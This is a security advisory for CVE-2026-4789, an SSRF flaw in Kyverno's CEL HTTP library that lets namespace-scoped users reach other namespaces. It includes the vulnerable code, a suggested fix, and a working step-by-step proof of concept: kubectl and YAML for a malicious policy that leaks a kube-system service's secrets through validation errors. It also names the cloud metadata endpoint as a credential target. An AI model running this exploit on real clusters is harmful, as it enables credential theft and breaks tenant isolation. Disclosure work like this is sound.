CVE-2026-4789: Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.
Published Apr 14, 2026 · Updated Jul 5, 2026
Affected packages
github.com/kyverno/kyverno
- Ecosystem
- Go
- Affected
- >= 1.16.0, < 1.17.0
- Fixed in
- 1.17.0
- Check
go list -m github.com/kyverno/kyverno
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.
Affected Versions
- Kyverno >= 1.16.0 (with
policies.kyverno.ioCRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)
Details
The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.
Vulnerable Code: pkg/cel/libs/http/http.go
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// NO URL VALIDATION - no blocklist, no namespace restrictions
...
}Contrast with resource.Lib which enforces namespace:
// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced
}This is a different code path from previously reported issues:
- GHSA-8p9x-46gm-qfx2:
pkg/engine/apicall/apiCall.go(URLPath) - Fixed - GHSA-459x-q9hg-4gpq:
pkg/engine/apicall/executor.go(Service.URL) - Different feature (apiCall vs CEL http) - This issue:
pkg/cel/libs/http/http.go(CEL http.Get/http.Post) - Not fixed
PoC
Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).
A complete automated PoC script is attached. Manual steps below:
1. Setup attacker with namespace-scoped permissions
kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: namespace-admin-role
namespace: attacker-ns
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "get", "list"]
- apiGroups: ["policies.kyverno.io"]
resources: ["namespacedvalidatingpolicies"]
verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: namespace-admin-binding
namespace: attacker-ns
subjects:
- kind: ServiceAccount
name: namespace-admin
namespace: attacker-ns
roleRef:
kind: Role
name: namespace-admin-role
apiGroup: rbac.authorization.k8s.io
EOF2. Create sensitive internal service (simulating internal API or cloud metadata)
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: internal-api
namespace: kube-system
labels:
app: internal-api
spec:
containers:
- name: server
image: hashicorp/http-echo
args:
- "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
- "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
name: internal-api
namespace: kube-system
spec:
selector:
app: internal-api
ports:
- port: 80
targetPort: 8080
EOF3. Verify attacker cannot access kube-system directly
kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no4. Create malicious NamespacedValidatingPolicy (as attacker)
cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-poc
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["configmaps"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
message: "Validation failed"
messageExpression: |
'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF5. Trigger exploit and exfiltrate data
kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-admin6. Result - Secret data exfiltrated
error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail"
denied the request: Policy cel-ssrf-poc failed:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Impact
- Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
- Cloud credential theft: Access to
http://169.254.169.254/...allows stealing AWS/GCP/Azure IAM credentials - Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
- Breaks namespace isolation: Inconsistent with Kyverno's security model where
resource.Libenforces namespace boundaries
Affected Policies
All CEL-based namespaced policies in policies.kyverno.io API group:
NamespacedValidatingPolicyNamespacedMutatingPolicyNamespacedDeletingPolicyNamespacedImageValidatingPolicy
Suggested Fix
Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:
type lib struct {
namespace string // Add namespace parameter
version *version.Version
}
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
if err := r.validateURL(url); err != nil {
return nil, fmt.Errorf("blocked URL: %w", err)
}
// ... existing code
}
func (r *contextImpl) validateURL(urlStr string) error {
// Block cloud metadata (169.254.0.0/16)
// Block localhost/loopback (127.0.0.0/8)
// For namespaced policies: restrict to same namespace services only
}Attached kyverno-cel-ssrf-poc.sh
Credit
Discovered by: Igor Stepansky Organization: Orca Security Email: [email protected] Personal Email: [email protected]
Credited to iggypopi, stepanskyigor-orca, copethomas, sublimino.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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